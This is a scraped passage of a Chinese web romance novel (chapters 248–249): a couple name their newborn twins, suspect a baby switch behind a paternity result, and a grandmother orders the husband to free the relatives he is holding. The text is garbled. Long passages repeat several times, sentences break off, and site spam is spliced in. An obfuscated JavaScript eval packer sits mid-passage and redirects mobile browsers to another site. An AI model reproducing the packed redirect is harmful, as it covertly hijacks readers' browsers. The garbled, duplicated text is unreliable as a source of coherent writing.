他把最后一缕头发编好,用一根红色的发绳系住,又抬手把那顶柔软的月子帽给她戴上,仔细地抚平帽檐的褶皱,动作认真得不像话。 做完这一切,他才重新搂住她的肩膀,让她靠在自己怀里,低头看着她的眼睛,声音低沉而温柔,“其实,我早就想好了两个名字。” 岑予衿眼睛倏地亮了,猛地坐直身子,差点撞到头,被他伸手护着后脑勺才没磕着。 她抓着他的胳膊,语气里满是期待,“什么名字?快说快说!” 陆京洲被她急吼吼的样子逗笑了,指尖捏了捏她的脸颊,才缓缓开口,“女孩叫陆灵月,灵动的灵,月亮的月,愿她像月光一样,温柔又明亮。” “陆灵月……”岑予衿喃喃自语,反复念了几遍,眼睛越来越亮,“好好听!那男孩呢?男孩叫什么?” 陆京洲看着她眼底的光,嘴角的笑意更深了些。 他抬手,指腹轻轻摩挲着她的唇角,声音里带着几分郑重,“男孩叫陆星砚,星辰的星,砚台的砚。灵月配星砚,星月相伴,砚墨生香,寓意他们兄妹俩往后能平安顺遂,岁岁无忧。” “陆星砚!”岑予衿一拍大腿,兴奋地差点跳起来,又被他按回怀里,她仰头看着他。 “阿洲,这名字也太好听了吧!比陆家那帮人取的强一百倍!” 她扑进他怀里,搂住他的脖子,在他脸上“吧唧”亲了一口,“你怎么这么厉害呀!” 陆京洲被她亲得耳根发红,却故意板着脸,伸手刮了下她的鼻子,“就知道贫嘴。” 他低头,鼻尖抵着她的鼻尖,声音温柔得能滴出水来,“我查了好几天的字典,还问了好几个国学大师,生怕取的名字不好听,怕我家大宝宝会生气。” 岑予衿的心像被泡在温水里,软得一塌糊涂。 她知道他这段时间有多忙,一边要应付陆家的人,一边要盯着地下室里的陆鹤嵩和陆沉奕。 还要抽空照顾她和宝宝,却还能把宝宝的名字放在心上,想得这么周全。 她伸手搂住他的腰,把脸埋进他的胸膛,声音闷闷的,“一点都不委屈,这是我听过最好听的名字了。” 陆京洲收紧手臂,把她抱得更紧,下巴抵着她的发顶,声音里带着一丝不易察觉的沙哑,“笙笙,委屈你了。” 这段时间,她还要替他担心,连个安稳的月子都坐不好,还要担心这担心那,“等我把陆家的烂摊子收拾干净,把傅聿琛那边的事处理好,我一定好好陪你和宝宝。” 岑予衿知道他心里的执念,也知道他肩上的担子有多重。 她抬起头,伸手抚平他眉间的褶皱,语气坚定,“阿洲,我不委屈。有你在,有宝宝在,我就什么都不怕。” 她顿了顿,又补充道,“陆家的事,傅聿琛的事,我们一起面对,好不好?” 陆京洲看着她眼底的坚定,心里那点被阴霾笼罩的角落,瞬间被照亮了。 他低头,吻住她的唇,这个吻温柔而绵长,带着他所有的爱意。 里带着歉意,“疼不疼?” “我是有点生气,不是你弄疼我的。” 见她摇头,他才沉下脸,语气里满是嫌恶,“别理他们,一群守着老黄历过日子的老顽固,他们的审美,跟我们不是一个次元的。” 他把最后一缕头发编好,用一根红色的发绳系住,又抬手把那顶柔软的月子帽给她戴上,仔细地抚平帽檐的褶皱,动作认真得不像话。 做完这一切,他才重新搂住她的肩膀,让她靠在自己怀里,低头看着她的眼睛,声音低沉而温柔,“其实,我早就想好了两个名字。” 岑予衿眼睛倏地亮了,猛地坐直身子,差点撞到头,被他伸手护着后脑勺才没磕着。 她抓着他的胳膊,语气里满是期待,“什么名字?快说快说!” 陆京洲被她急吼吼的样子逗笑了,指尖捏了捏她的脸颊,才缓缓开口,“女孩叫陆灵月,灵动的灵,月亮的月,愿她像月光一样,温柔又明亮。” “陆灵月……”岑予衿喃喃自语,反复念了几遍,眼睛越来越亮,“好好听!那男孩呢?男孩叫什么?” 陆京洲看着她眼底的光,嘴角的笑意更深了些。 他抬手,指腹轻轻摩挲着她的唇角,声音里带着几分郑重,“男孩叫陆星砚,星辰的星,砚台的砚。灵月配星砚,星月相伴,砚墨生香,寓意他们兄妹俩往后能平安顺遂,岁岁无忧。” “陆星砚!”岑予衿一拍大腿,兴奋地差点跳起来,又被他按回怀里,她仰头看着他。 “阿洲,这名字也太好听了吧!比陆家那帮人取的强一百倍!” 她扑进他怀里,搂住他的脖子,在他脸上“吧唧”亲了一口,“你怎么这么厉害呀!” 陆京洲被她亲得耳根发红,却故意板着脸,伸手刮了下她的鼻子,“就知道贫嘴。” 他低头,鼻尖抵着她的鼻尖,声音温柔得能滴出水来,“我查了好几天的字典,还问了好几个国学大师,生怕取的名字不好听,怕我家大宝宝会生气。” 岑予衿的心像被泡在温水里,软得一塌糊涂。 她知道他这段时间有多忙,一边要应付陆家的人,一边要盯着地下室里的陆鹤嵩和陆沉奕。 还要抽空照顾她和宝宝,却还能把宝宝的名字放在心上,想得这么周全。 她伸手搂住他的腰,把脸埋进他的胸膛,声音闷闷的,“一点都不委屈,这是我听过最好听的名字了。” 陆京洲收紧手臂,把她抱得更紧,下巴抵着她的发顶,声音里带着一丝不易察觉的沙哑,“笙笙,委屈你了。” 这段时间,她还要替他担心,连个安稳的月子都坐不好,还要担心这担心那,“等我把陆家的烂摊子收拾干净,把傅聿琛那边的事处理好,我一定好好陪你和宝宝。” 岑予衿知道他心里的执念,也知道他肩上的担子有多重。 她抬起头,伸手抚平他眉间的褶皱,语气坚定,“阿洲,我不委屈。有你在,有宝宝在,我就什么都不怕。” 她顿了顿,又补充道,“陆家的事,傅聿琛的事,我们一起面对,好不好?” 陆京洲看着她眼底的坚定,心里那点被阴霾笼罩的角落,瞬间被照亮了。 他低头,吻住她的唇,这个吻温柔而绵长,带着他所有的爱意。 里带着歉意,“疼不疼?” “我是有点生气,不是你弄疼我的。” 见她摇头,他才沉下脸,语气里满是嫌恶,“别理他们,一群守着老黄历过日子的老顽固,他们的审美,跟我们不是一个次元的。” 他把最后一缕头发编好,用一根红色的发绳系住,又抬手把那顶柔软的月子帽给她戴上,仔细地抚平帽檐的褶皱,动作认真得不像话。 做完这一切,他才重新搂住她的肩膀,让她靠在自己怀里,低头看着她的眼睛,声音低沉而温柔,“其实,我早就想好了两个名字。” 岑予衿眼睛倏地亮了,猛地坐直身子,差点撞到头,被他伸手护着后脑勺才没磕着。 她抓着他的胳膊 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他低头,鼻尖抵着她的鼻尖,声音温柔得能滴出水来,“我查了好几天的字典,还问了好几个国学大师,生怕取的名字不好听,怕我家大宝宝会生气。” 岑予衿的心像被泡在温水里,软得一塌糊涂。 她知道他这段时间有多忙,一边要应付陆家的人,一边要盯着地下室里的陆鹤嵩和陆沉奕。 还要抽空照顾她和宝宝,却还能把宝宝的名字放在心上,想得这么周全。 她伸手搂住他的腰,把脸埋进他的胸膛,声音闷闷的,“一点都不委屈,这是我听过最好听的名字了。” 陆京洲收紧手臂,把她抱得更紧,下巴抵着她的发顶,声音里带着一丝不易察觉的沙哑,“笙笙,委屈你了。” 这段时间,她还要替他担心,连个安稳的月子都坐不好,还要担心这担心那,“等我把陆家的烂摊子收拾干净,把傅聿琛那边的事处理好,我一定好好陪你和宝宝。” 岑予衿知道他心里的执念,也知道他肩上的担子有多重。 她抬起头,伸手抚平他眉间的褶皱,语气坚定,“阿洲,我不委屈。有你在,有宝宝在,我就什么都不怕。” 她顿了顿,又补充道,“陆家的事,傅聿琛的事,我们一起面对,好不好?” 陆京洲看着她眼底的坚定,心里那点被阴霾笼罩的角落,瞬间被照亮了。 他低头,吻住她的唇,这个吻温柔而绵长,带着他所有的爱意。 里带着歉意,“疼不疼?” “我是有点生气,不是你弄疼我的。” 见她摇头,他才沉下脸,语气里满是嫌恶,“别理他们,一群守着老黄历过日子的老顽固,他们的审美,跟我们不是一个次元的。” 他把最后一缕头发编好,用一根红色的发绳系住,又抬手把那顶柔软的月子帽给她戴上,仔细地抚平帽檐的褶皱,动作认真得不像话。 做完这一切,他才重新搂住她的肩膀,让她靠在自己怀里,低头看着她的眼睛,声音低沉而温柔,“其实,我早就想好了两个名字。” 岑予衿眼睛倏地亮了,猛地坐直身子,差点撞到头,被他伸手护着后脑勺才没磕着。 她抓着他的胳膊,语气里满是期待,“什么名字?快说快说!” 陆京洲被她急吼吼的样子逗笑了,指尖捏了捏她的脸颊,才缓缓开口,“女孩叫陆灵月,灵动的灵,月亮的月,愿她像月光一样,温柔又明亮。” “陆灵月……”岑予衿喃喃自语,反复念了几遍,眼睛越来越亮,“好好听!那男孩呢?男孩叫什么?” 陆京洲看着她眼底的光,嘴角的笑意更深了些。 他抬手,指腹轻轻摩挲着她的唇角,声音里带着几分郑重,“男孩叫陆星砚,星辰的星,砚台的砚。灵月配星砚,星月相伴,砚墨生香,寓意他们兄妹俩往后能平安顺遂,岁岁无忧。” “陆星砚!”岑予衿一拍大腿,兴奋地差点跳起来,又被他按回怀里,她仰头看着他。 “阿洲,这名字也太好听了吧!比陆家那帮人取的强一百倍!” 她扑进他怀里,搂住他的脖子,在他脸上“吧唧”亲了一口,“你怎么这么厉害呀!” 陆京洲被她亲得耳根发红,却故意板着脸,伸手刮了下她的鼻子,“就知道贫嘴。” 他低头,鼻尖抵着她的鼻尖,声音温柔得能滴出水来,“我查了好几天的字典,还问了好几个国学大师,生怕取的名字不好听,怕我家大宝宝会生气。” 岑予衿的心像被泡在温水里,软得一塌糊涂。 她知道他这段时间有多忙,一边要应付陆家的人,一边要盯着地下室里的陆鹤嵩和陆沉奕。 还要抽空照顾她和宝宝,却还能把宝宝的名字放在心上,想得这么周全。 她伸手搂住他的腰,把脸埋进他的胸膛,声音闷闷的,“一点都不委屈,这是我听过最好听的名字了。” 陆京洲收紧手臂,把她抱得更紧,下巴抵着她的发顶,声音里带着一丝不易察觉的沙哑,“笙笙,委屈你了。” 这段时间,她还要替他担心,连个安稳的月子都坐不好,还要担心这担心那,“等我把陆家的烂摊子收拾干净,把傅聿琛那边的事处理好,我一定好好陪你和宝宝。” 岑予衿知道他心里的执念,也知道他肩上的担子有多重。 她抬起头,伸手抚平他眉间的褶皱,语气坚定,“阿洲,我不委屈。有你在,有宝宝在,我就什么都不怕。” 她顿了顿,又补充道,“陆家的事,傅聿琛的事,我们一起面对,好不好?” 陆京洲看着她眼底的坚定,心里那点被阴霾笼罩的角落,瞬间被照亮了。 他低头,吻住她的唇,这个吻温柔而绵长,带着他所有的爱意。 里带着歉意,“疼不疼?” “我是有点生气,不是你弄疼我的。” 见她摇头,他才沉下脸,语气里满是嫌恶,“别理他们,一群守着老黄历过日子的老顽固,他们的审美,跟我们不是一个次元的。” 他把最后一缕头发编好,用一根红色的发绳系住,又抬手把那顶柔软的月子帽给她戴上,仔细地抚平帽檐的褶皱,动作认真得不像话。 做完这一切,他才重新搂住她的肩膀,让她靠在自己怀里,低头看着她的眼睛,声音低沉而温柔,“其实,我早就想好了两个名字。” 岑予衿眼睛倏地亮了,猛地坐直身子,差点撞到头,被他伸手护着后脑勺才没磕着。 她抓着他的胳膊,语气里满是期待,“什么名字?快说快说!” 陆京洲被她急吼吼的样子逗笑了,指尖捏了捏她的脸颊,才缓缓开口,“女孩叫陆灵月,灵动的灵,月亮的月,愿她像月光一样,温柔又明亮。” “陆灵月……”岑予衿喃喃自语,反复念了几遍,眼睛越来越亮,“好好听!那男孩呢?男孩叫什么?” 陆京洲看着她眼底的光,嘴角的笑意更深了些。 他抬手,指腹轻轻摩挲着她的唇角,声音里带着几分郑重,“男孩叫陆星砚,星辰的星,砚台的砚。灵月配星砚,星月相伴,砚墨生香,寓意他们兄妹俩往后能平安顺遂,岁岁无忧。” “陆星砚!”岑予衿一拍大腿,兴奋地差点跳起来,又被他按回怀里,她仰头看着他。 “阿洲,这名字也太好听了吧!比陆家那帮人取的强一百倍!” 她扑进他怀里,搂住他的脖子,在他脸上“吧唧”亲了一口,“你怎么这么厉害呀!” 陆京洲被她亲得耳根发红,却故意板着脸,伸手刮了下她的鼻子,“就知道贫嘴。” 他低头,鼻尖抵着她的鼻尖,声音温柔得能滴出水来,“我查了好几天的字典,还问了好几个国学大师,生怕取的名字不好听,怕我家大宝宝会生气。” 岑予衿的心像被泡在温水里,软得一塌糊涂。 她知道他这段时间有多忙,一边要应付陆家的人,一边要盯着地下室里的陆鹤嵩和陆沉奕。 还要抽空照顾她和宝宝,却还能把宝宝的名字放在心上,想得这么周全。 她伸手搂住他的腰,把脸埋进他的胸膛,声音闷闷的,“一点都不委屈,这是我听过最好听的名字了。” 陆京洲收紧手臂,把她抱得更紧,下巴抵着她的发顶,声音里带着一丝不易察觉的沙哑,“笙笙,委屈你了。” 这段时间,她还要替他担心,连个安稳的月子都坐不好,还要担心这担心那,“等我把陆家的烂摊子收拾干净,把傅聿琛那边的事处理好,我一定好好陪你和宝宝。” 岑予衿知道他心里的执念,也知道他肩上的担子有多重。 她抬起头,伸手抚平他眉间的褶皱,语气坚定,“阿洲,我不委屈。有你在,有宝宝在,我就什么都不怕。” 她顿了顿,又补充道,“陆家的事,傅聿琛的事,我们一起面对,好不好?” 陆京洲看着她眼底的坚定,心里那点被阴霾笼罩的角落,瞬间被照亮了。 他低头,吻住她的唇,这个吻温柔而绵长,带着他所有的爱意。 第248章 孩子可能被掉包了 温存的气氛被一阵不轻不重的敲门声打断。 陆京洲蹙了蹙眉有些不悦地松开岑予衿替她整理了一下衣襟和帽子才沉声道“进来。” 门被推开他的特助拿着一份密封的文件袋脚步轻而快地走了进来。 看到沙发上依偎着的两人林风立刻低下头将文件双手递上“陆总您要的报告加急做出来了。” 陆京洲眼神一凝方才的柔情瞬间被一种冷峻的锐利取代。 他接过那份薄薄的文件袋指尖微不可查地紧了紧。 他没有立刻打开而是看了一眼岑予衿。 岑予衿坐直了身体手轻轻覆在他的手背上传递着无声的支持“打开看看吧做都做了咱们就要看最终的结果。” 陆京洲深吸一口气撕开了封条。 纸张摩擦的声音在安静的客厅里格外清晰。他迅速翻到最后一页目光锁定在那几行关键的结论上。 “经鉴定 空气仿佛凝固了。 陆京洲捏着报告纸的手指关节微微泛白眉头紧紧锁起眼底翻涌着困惑、冰冷的怒意。 “是亲生的?”岑予衿也凑过去看清楚了结论同样感到难以置信“阿洲你不是说你父母双方家族都没有那种遗传病史吗?陆沉奕得的那个病分明是……” “是家族遗传的。”陆京洲接了她没说完的话声音像是淬了冰一字一句。 “我查过非常确定陆家往上数三代我母亲那边的家族也彻底清查过没有任何人得过类似的病……” 他能确定陆沉奕是他母亲亲生的那问题究竟出在哪呢? 岑予衿看着陆京洲眼中翻滚的冰冷怒意和深深困惑。 脑子里突然闪过一道惊雷一个被他们忽略的可能性瞬间攫住了她。 “阿洲……”她声音有些发紧手指用力抓住他的胳膊“我们是不是……都先入为主了?” 陆京洲转头看她眉头锁得更深“什么意思?” “你说你确定陆沉奕是你母亲亲生的。但你确认的是‘你母亲生下了他’这件事对吗?” 岑予衿语速加快眼神锐利起来“生下来之后呢?从产房到婴儿室再到抱回母亲身边中间有多少环节?尤其是……当年你母亲生产是在陆家的私立医院吧?陆鹤嵩是不是有足够的能力和人脉在神不知鬼不觉的情况下……” 她没再说下去但意思 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 已经无比清晰。 孩子被掉包了。 陆京洲瞳孔骤然收缩。 这个可能性像一把冰锥,瞬间刺破了他之前的思维定势。 是啊,他一直纠结于遗传病的来源,认定了陆沉奕必须是母亲所出才会有这个病。 但如果……陆沉奕根本就不是母亲生的那个孩子呢? 如果陆鹤嵩当年,为了某个不可告人的秘密,或许是为了掩盖自己的外遇私生子,或许是为了得到一个“更符合期望的继承人,又或许是别的更肮脏的原因。 在医院里,将他真正的大哥,换成了他和别人的私生子。 那么,陆沉奕的遗传病来源就说得通了,那来自他真正的生物学父母。 而陆鹤嵩对陆沉奕异乎寻常的溺爱与维护,除了父子天性,或许更夹杂着更加复杂补偿心理,以及掩盖秘密的迫切。 而陆京洲真正的大哥……现在又在何处?是生是死? 这个猜想比“陆鹤嵩非亲生更让人不寒而栗,因为它牵扯的不仅是血缘和财产,更是一条活生生的生命。 陆京洲的脸色瞬间变得极其难看,握着报告的手指用力到几乎要将纸张捏碎。 他猛地看向特助,声音低哑却带着骇人的压迫感,“去查!二十几年前,我母亲生产那家医院的所有相关人员,尤其是当年的产科医生、护士长、负责婴儿登记和看护的人! 一个都不要漏掉!还有,查陆鹤嵩在那段时间前后所有的通讯记录、资金往来、接触的异常人员!我要知道,他到底做了什么! “是,陆总!特助心头凛然,立刻领命,快步退了出去。 他知道,这潭水,比他想象的还要深,还要浑。 客厅里重新恢复了安静,却弥漫着一股沉重压抑的气氛。 岑予衿看着陆京洲紧绷的侧脸和眼中翻腾的痛苦与暴怒,心疼得无以复加。 她轻轻抱住他,将脸贴在他冰冷的胸口,“阿洲,这只是猜测,也许……也许是我们想多了。 “不,陆京洲的声音带着一丝不易察觉的颤抖,他抬手,用力回抱住她,像是要从她身上汲取力量,“笙笙,你的猜测很可能是对的。只有这样,所有矛盾的点才能串起来。陆鹤嵩……他真敢! 他闭上眼,深吸了几口气,强行压下胸腔里翻涌的杀意。 现在不是失控的时候。 “如果真是掉包……他再睁开眼时,眼底只剩下淬冰般的冷静和决绝,“那我真正的大哥,很可能凶多吉少 你的朋友正在书荒,快去帮帮他吧 。陆鹤嵩不会留一个可能揭穿他秘密的活口。就算活着… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108383|191758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …也必定被藏在了某个我们不找不到的角落。” 他轻轻推开岑予衿一点,双手捧住她的脸,目光沉沉地看着她,“笙笙,这件事比我们想的更严重。陆鹤嵩和陆沉奕,必须为他们的所作所为付出代价。但在这之前,我们必须先弄清楚真相,找到证据。还有……” 他顿了一下,声音更低,“如果……我是说如果,我那个可能存在的大哥还活着,我们必须找到他。那是我母亲的孩子,是我的亲人” 岑予衿用力点头,眼神坚定,“我明白。阿洲,我陪你一起查。无论真相是什么,我们一起面对。” 陆京洲将她重新拥入怀中,下巴抵着她的发顶,感受着她带来的温暖和安定。 窗外的夜色愈发浓重,但怀中的温度让他知道,他不是一个人在战斗。 岑予衿眉头越皱越深,总觉得有些东西遗漏了,却又不知道具体是什么。 那感觉,很难受! 他们兄弟俩之间只能查亲缘关系……究竟该怎么办才好呢? 岑予衿的眉头越皱越紧,一种说不清道不明的违和感缠绕着她。 她总觉得,他们似乎遗漏了某个关键的点,就像拼图缺了最核心的那一块,所有线索都因此变得模糊不清。 她松开陆京洲,在客厅里踱了两步,手指无意识地绞在一起。 陆京洲看着她焦躁不安的样子,没有催促,只是目光沉静地追随,等待她的思绪沉淀。 “不对……”岑予衿忽然停下脚步,转过身,眼神灼灼地看向陆京洲,“阿洲,我觉得咱们俩得去问问奶奶,当**情,她了解的比我们还多,应该会线索。” “奶奶?”陆京洲微微一怔,随即眼中划过一丝亮光。 对啊,他怎么把奶奶忘了! 陆老太太,他父亲的亲生母亲,虽然年事已高,头脑比任何人都清醒。 当年母亲生产时,她肯定在场,毕竟那桩婚事是他一手促成的。 她知道的肯定要比别人更详细。 更重要的是,奶奶在陆家地位超然,对陆鹤嵩这个儿子近年来的所作所为早已失望透顶。 反而对陆京洲这个孙子疼爱至极。 如果陆家还有谁能提供当年的真实细节,并且愿意毫无保留地告诉他,那只能是奶奶了。 “你说得对!”陆京洲立刻起身,握住岑予衿的手,“奶奶当年虽然不常去医院,但家里的老管家、还有一直跟着她的老佣人,都是知情的。” 哪怕不知情,指导的也比他们多! 问问奶奶是最好的选择。 第249章 阿洲,把人放了! 陆京洲握着岑予衿的手刚要迈步,玄关处的门铃突然急促地响了起来。 不同于方才特助的轻叩,这铃声带着几分急切,却又不失分寸,像是来人既怕打扰,又有不得不立刻相见的缘由。 特助刚走到门口准备应门,陆京洲已沉声开口,“直接开门。” 门轴转动的瞬间,一股熟悉的檀香气息伴着冬日的清寒一同涌入。 陆老太太穿着一身深灰色暗纹羊绒大衣,头上裹着厚厚的驼色围巾,被两个老佣人小心翼翼地搀扶着,脚步略显蹒跚,却依旧脊背挺直,眼神清亮。 她身后还跟着陆家的老管家,手里拎着一个食盒,另一只胳膊上搭着一条厚实的毛毯。 “奶奶?”陆京洲瞳孔微缩,下意识地松开岑予衿的手迎了上去,语气里满是意外,“您怎么来了?这么冷的天,路又滑……” 岑予衿也连忙起身,刚想往前走,就被老太太抬抬手制止了,“别动。” 陆老太太的声音带着岁月沉淀的沙哑,却依旧中气十足,目光径直落在她身上,带着疼惜与责备,“刚生完孩子没多久,坐不住就靠在沙发上,瞎动什么?” 老管家连忙上前,将食盒放在茶几上,又把毛毯轻轻搭在岑予衿肩头,低声道。 “少夫人,老太太听说您坐月子一点也不老实,实在放心不下,非要亲自过来看看。知道您现在不能吹风,我们特意绕了地下车库上来的,没沾着寒气。” 陆老太太被扶到沙发上坐下,佣人立刻递上一杯温热的红枣桂圆茶。 她抿了一口,目光扫过陆京洲紧绷的脸,又落在岑予衿略带苍白的气色上,眼底的疼惜更甚。 “我在家听张妈说,陆京洲这阵子天天往这边跑,心思都挂在你身上,连公司的事都顾不上了。我本来想着让你们抽空回老宅一趟,可转念一想,你这身子骨哪经得起折腾?月子里的人,一分一毫都不能马虎,索性我自己跑一趟,省得你们来回奔波。” 她说着,眼神微微一转,掠过茶几上那份被捏得有些褶皱的报告,眉头几不可察地蹙了一下,却没立刻提及,只是转头对佣人吩咐。 “把食盒里的东西拿出来,都是我让厨房炖的鸽子汤,放了些补气血的药材,不油腻,笙笙正好能喝。还有几样清淡的小菜,阿洲也陪她垫垫肚子。” 食盒打开,氤氲的热气带着食材的鲜香散开,冲淡了客厅里方才沉重压抑的气氛。 岑予衿看着老太太鬓边的白发,心里一阵暖流涌过,眼眶微微发热,“奶奶, 让您这么大年纪还特意跑一趟,真是过意不去。” “傻孩子,跟奶奶客气什么?”陆老太太握住她的手,掌心粗糙却温暖。 “你嫁给阿洲,就是我们陆家的人,我疼你不是应该的?倒是你,受了不少苦,京洲要是敢欺负你,你尽管跟我说,我替你做主。” “奶奶我疼她还来不及呢,怎么会欺负她呢?” 陆京洲站在一旁,看着祖孙俩温情的模样,紧绷的下颌线稍稍柔和了些。 他知道奶奶心思通透,既然特意赶来,必然是察觉到了什么。 他在沙发另一侧坐下,斟酌着开口,“奶奶,您今天过来,是不是……有什么话想跟我们说?” 陆老太太放下茶杯,拿起一旁的手帕擦了擦嘴角,眼神骤然变得沉静深邃。 她没有直接回答,反而看向岑予衿,“笙笙,你心思细,京洲这孩子看着不靠谱,有时候容易钻牛角尖。你们最近,是不是遇到什么难办的事了?” “对了,一直没看到你爸和你大哥,都快要一个月了,这件事情是不是和你有关?” 那再怎么说也是自己儿子,再不存气养这么大直接丢掉。 岑予衿和陆京洲对视一眼,都从彼此眼中看到了了然。 陆京洲深吸一口气,将那份亲子鉴定报告递了过去,声音低沉,“奶奶,您看看这个。” 老太太接过报告,指尖微微颤抖,却看得极快,目光在关键结论上停留了许久。 “沉奕是你大哥,是你父亲的儿子,他们两个之间存在父子关系,不是很正常吗?” “可是奶奶……陆沉奕有遗传病,而那遗传病他和妈妈都没有,那他身上那病是从哪来的?” 陆老太太这会似乎也反应过来事情的严重性了,“所以你的意思是?” 陆老太太许久才找回自己的声音,“是阿奕有可能不是你的亲大哥?” 陆京洲表情有些凝重的点了点头,“对,您……您是不是早就知道了?” “我不是早就知道,是早就怀疑。”陆老太太放下报告,看向陆京洲。 “当年你母亲生产,我虽然没天天守在医院,但也去过好几次。 你母亲身体一直不好,怀沉奕的时候更是凶险,医生说孩子可能会有些先天不足,我当时就嘱咐鹤嵩,一定要好好照顾他们母子。 可沉奕出生后,鹤嵩对他的态度,实在是太过反常了。” 她顿了顿,像是在回忆往事。 “你母亲刚生产完,身体虚弱, 鹤嵩却很少去看她,反而天天守在婴儿房。 后来沉奕渐渐长大,没什么问题,全家人悬着的心才慢慢放下来。我那时候还在庆幸,想着是医生误诊了?” “还有一件事,”陆老太太的声音压低了些,带着几分凝重。 “当年你母亲生产那天,医院里出了点小乱子,说是有个产妇突然大出血,把产房附近都弄得乱糟糟的。 我当时让老管家去问情况,老管家回来跟我说,他看到鹤嵩和一个陌生男人在走廊里说了很久的话,神色很紧张。 我追问鹤嵩,他却说只是遇到了生意上的朋友,我那时候就觉得不对劲,可苦于没有证据,又想着或许是自己多心,就没再深究。” 岑予衿听到这里,心脏猛地一跳,“奶奶,您还记得那个陌生男人的样子吗?或者有没有什么特别的特征?” “时间太久了,记不清了。”陆老太太摇了摇头。 陆老太太的目光从那份报告上抬起,缓缓转向陆京洲。 那双阅尽沧桑的眼中,没有责备,只有一种沉重的了然,以及一丝不易察觉的痛心。 她放下了报告,双手交叠放在膝上,看着自己最疼爱的孙子,声音不高,却带着不容回避的份量,“阿洲,你先回答奶奶一个问题。” 她顿了一下,直视着陆京洲的眼睛。 “你父亲,还有沉奕……现在人在哪里?” 客厅里的空气仿佛随着这句话再次凝固。佣人和管家早已识趣地退到了更远处,将空间完全留给这祖孙三人。 陆京洲的喉结滚动了一下,没有立刻回答。 他下意识地看了一眼岑予衿,岑予衿轻轻握住了他垂在身侧的手,指尖微微用力,传递着无声的支持。 “奶奶……”陆京洲的声音有些干涩。 “看着我,回答我。”陆老太太的语气平静,却带着不容置疑的威严。 那是属于陆家真正掌舵人,历经风雨沉淀下来的气场。 陆京洲闭了闭眼,再睁开时,眼底已是一片坦然的冷静。 “是,是我把他们暂时控制起来了,我的人看着。” 他没有用“关”这个字,但意思再明白不过。 陆老太太听到“控制”两个字,眉头狠狠一蹙,脸上闪过明显的心痛和失望。 她沉默了好一会儿,才长长地、沉重地叹了口气。 “阿洲。”她的声音带着疲惫,“奶奶知道你心里有恨,有怒,更有对你母亲、和生死不明的大哥的痛。这些,奶奶 都懂,甚至……奶奶心里的痛,未必比你少。” 她看着陆京洲,眼中是复杂难言的情绪。 “那是我的儿子,我再怎么失望,再怎么知道他走了歪路,他身体里流的,终究是我和你爷爷的血。沉奕……即便他可能不是你的亲大哥,但他也叫了我二十多年的奶奶。” “手足相残,骨肉倾轧,这是奶奶这辈子最不愿在陆家看到的景象。” 陆老太太的声音有些发颤,“你父亲有错,大错特错!如果查证属实,他必须付出代价,天大的代价!但这一切,不应该由你私自用这种方式来审判。” “把人放了,京洲。” 最后这句话,她说得斩钉截铁,带着不容抗拒的命令。 陆京洲的拳头骤然握紧,手背上青筋隐现。 他猛地抬头,眼中是压抑不住的怒火和不解。 “放了?奶奶!您知道他都做了些什么吗?他可能调换了您的亲孙子!他可能害**我真正的兄长!他对不起我妈,对不起您,对不起整个陆家!他凭什么……” “就凭他是你父亲!”陆老太太猛地提高声音打断他,手杖重重杵了一下地面,发出沉闷的响声。 但随即,她的语气又软了下来,带着深深的悲哀。 “就凭……在真相大白、证据确凿之前,在法律和家族的规矩面前,他依然是你名义上的父亲,是陆氏曾经的家主。京洲,你想报仇,想讨回公道,奶奶支持你。但这条路,不能这样走。” 她倾身向前,紧紧握住陆京洲紧握的拳头,试图用自己掌心的温度去融化孙子的冰冷与暴戾。 “用非法的手段拘禁他,只会授人以柄,让你从有理变成无理,甚至可能把自己搭进去!你想让真正的恶人逍遥法外,而你自己却因为一时冲动铸成大错吗?” 都懂,甚至……奶奶心里的痛,未必比你少。” 她看着陆京洲,眼中是复杂难言的情绪。 “那是我的儿子,我再怎么失望,再怎么知道他走了歪路,他身体里流的,终究是我和你爷爷的血。沉奕……即便他可能不是你的亲大哥,但他也叫了我二十多年的奶奶。” “手足相残,骨肉倾轧,这是奶奶这辈子最不愿在陆家看到的景象。” 陆老太太的声音有些发颤,“你父亲有错,大错特错!如果查证属实,他必须付出代价,天大的代价!但这一切,不应该由你私自用这种方式来审判。” “把人放了,京洲。” 最后这句话,她说得斩钉截铁,带着不容抗拒的命令。 陆京洲的拳头骤然握紧,手背上青筋隐现。 他猛地抬头,眼中是压抑不住的怒火和不解。 “放了?奶奶!您知道他都做了些什么吗?他可能调换了您的亲孙子!他可能害**我真正的兄长!他对不起我妈,对不起您,对不起整个陆家!他凭什么……” “就凭他是你父亲!”陆老太太猛地提高声音打断他,手杖重重杵了一下地面,发出沉闷的响声。 但随即,她的语气又软了下来,带着深深的悲哀。 “就凭……在真相大白、证据确凿之前,在法律和家族的规矩面前,他依然是你名义上的父亲,是陆氏曾经的家主。京洲,你想报仇,想讨回公道,奶奶支持你。但这条路,不能这样走。” 她倾身向前,紧紧握住陆京洲紧握的拳头,试图用自己掌心的温度去融化孙子的冰冷与暴戾。 “用非法的手段拘禁他,只会授人以柄,让你从有理变成无理,甚至可能把自己搭进去!你想让真正的恶人逍遥法外,而你自己却因为一时冲动铸成大错吗?” 都懂,甚至……奶奶心里的痛,未必比你少。” 她看着陆京洲,眼中是复杂难言的情绪。 “那是我的儿子,我再怎么失望,再怎么知道他走了歪路,他身体里流的,终究是我和你爷爷的血。沉奕……即便他可能不是你的亲大哥,但他也叫了我二十多年的奶奶。” “手足相残,骨肉倾轧,这是奶奶这辈子最不愿在陆家看到的景象。” 陆老太太的声音有些发颤,“你父亲有错,大错特错!如果查证属实,他必须付出代价,天大的代价!但这一切,不应该由你私自用这种方式来审判。” “把人放了,京洲。” 最后这句话,她说得斩钉截铁,带着不容抗拒的命令。 陆京洲的拳头骤然握紧,手背上青筋隐现。 他猛地抬头,眼中是压抑不住的怒火和不解。 